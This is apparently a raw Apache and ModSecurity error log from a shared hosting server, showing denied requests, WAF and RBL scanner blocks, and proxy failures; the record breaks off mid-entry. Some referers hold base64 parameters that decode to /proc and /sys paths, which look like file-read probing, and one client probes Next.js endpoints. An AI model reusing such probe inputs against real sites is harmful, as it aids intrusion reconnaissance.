https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:02.985818 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:03.060828 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.55:32747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:03.061316 2026] [access_compat:error] [pid 648189:tid 648233] [remote 57.141.14.55:32747] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:03.194937 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.242.16:38098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:03.195357 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.242.16:38098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:03.294360 2026] [security2:error] [pid 648189:tid 648223] [remote 185.177.72.9:2742] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/api/auth"] [unique_id "ai3yh1WSojQL4F7upKBSaQAA4gM"] [Sat Jun 13 18:15:03.307477 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.32:26191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:03.307968 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.32:26191] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:03.374515 2026] [security2:error] [pid 646876:tid 646988] [remote 17.246.19.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yh9yTkdrNlD40tSGcJQAAdW0"] [Sat Jun 13 18:15:03.476798 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:03.477125 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:15:03.705396 2026] [security2:error] [pid 648189:tid 648245] [remote 185.177.72.9:22320] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/api/auth/callback"] [unique_id "ai3yh1WSojQL4F7upKBScQAAnRg"] [Sat Jun 13 18:15:03.735853 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.29:40053] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:03.736317 2026] [access_compat:error] [pid 648189:tid 648247] [remote 57.141.14.29:40053] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:03.824724 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.13:63507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:03.825152 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.13:63507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:04.010772 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ng== [Sat Jun 13 18:15:04.011201 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ng== [Sat Jun 13 18:15:04.124432 2026] [security2:error] [pid 648189:tid 648253] [remote 185.177.72.9:22328] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/api/auth/session"] [unique_id "ai3yiFWSojQL4F7upKBSdwAAqx8"] [Sat Jun 13 18:15:04.289148 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.3:29312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:04.289604 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.3:29312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:04.517377 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.39:54312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:04.517695 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.39:54312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:04.529512 2026] [security2:error] [pid 648189:tid 648305] [remote 185.177.72.9:22330] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/_rsc"] [unique_id "ai3yiFWSojQL4F7upKBSfwAA31M"] [Sat Jun 13 18:15:04.532320 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:15:04.532622 2026] [access_compat:error] [pid 646876:tid 646956] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:15:04.838250 2026] [security2:error] [pid 648189:tid 648259] [remote 82.17.50.172:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yiFWSojQL4F7upKBSiQAA8SU"], referer: https://www.torquayfans.com [Sat Jun 13 18:15:04.838296 2026] [security2:error] [pid 648189:tid 648259] [remote 82.17.50.172:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yiFWSojQL4F7upKBSiQAA8SU"], referer: https://www.torquayfans.com [Sat Jun 13 18:15:04.948175 2026] [security2:error] [pid 646876:tid 646993] [remote 185.177.72.9:22344] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/__rsc"] [unique_id "ai3yiNyTkdrNlD40tSGcYAAAenI"] [Sat Jun 13 18:15:05.031047 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.80:20411] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:05.031481 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.80:20411] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:05.034986 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:15:05.035436 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:15:05.141943 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.84:48350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:05.142378 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.84:48350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:05.353500 2026] [security2:error] [pid 648189:tid 648268] [remote 185.177.72.9:22350] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/.action"] [unique_id "ai3yiVWSojQL4F7upKBSmAAAvS4"] [Sat Jun 13 18:15:05.410709 2026] [security2:error] [pid 646876:tid 646953] [remote 17.22.253.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yidyTkdrNlD40tSGcbQAAYko"] [Sat Jun 13 18:15:05.463692 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.36:30044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:05.463968 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.36:30044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:05.568006 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:05.568274 2026] [access_compat:error] [pid 646876:tid 646891] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:05.763285 2026] [security2:error] [pid 646876:tid 646970] [remote 185.177.72.9:22364] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/__nextjs_action"] [unique_id "ai3yidyTkdrNlD40tSGcfAAAYVs"] [Sat Jun 13 18:15:05.901905 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.48:58259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:05.902397 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.48:58259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:06.060122 2026] [proxy:error] [pid 648189:tid 648276] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:06.060206 2026] [proxy_http:error] [pid 648189:tid 648276] [remote 57.141.14.64:64906] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:06.061472 2026] [proxy:error] [pid 648189:tid 648276] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:06.061543 2026] [proxy_http:error] [pid 648189:tid 648276] [remote 57.141.14.64:64906] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:06.081794 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:06.082228 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:06.096969 2026] [security2:error] [pid 646876:tid 646940] [remote 17.241.219.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yityTkdrNlD40tSGcjgAAGD0"] [Sat Jun 13 18:15:06.180155 2026] [security2:error] [pid 648189:tid 648291] [remote 185.177.72.9:22376] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/_middleware"] [unique_id "ai3yilWSojQL4F7upKBSsQAAp0U"] [Sat Jun 13 18:15:06.435870 2026] [security2:error] [pid 646876:tid 647062] [client 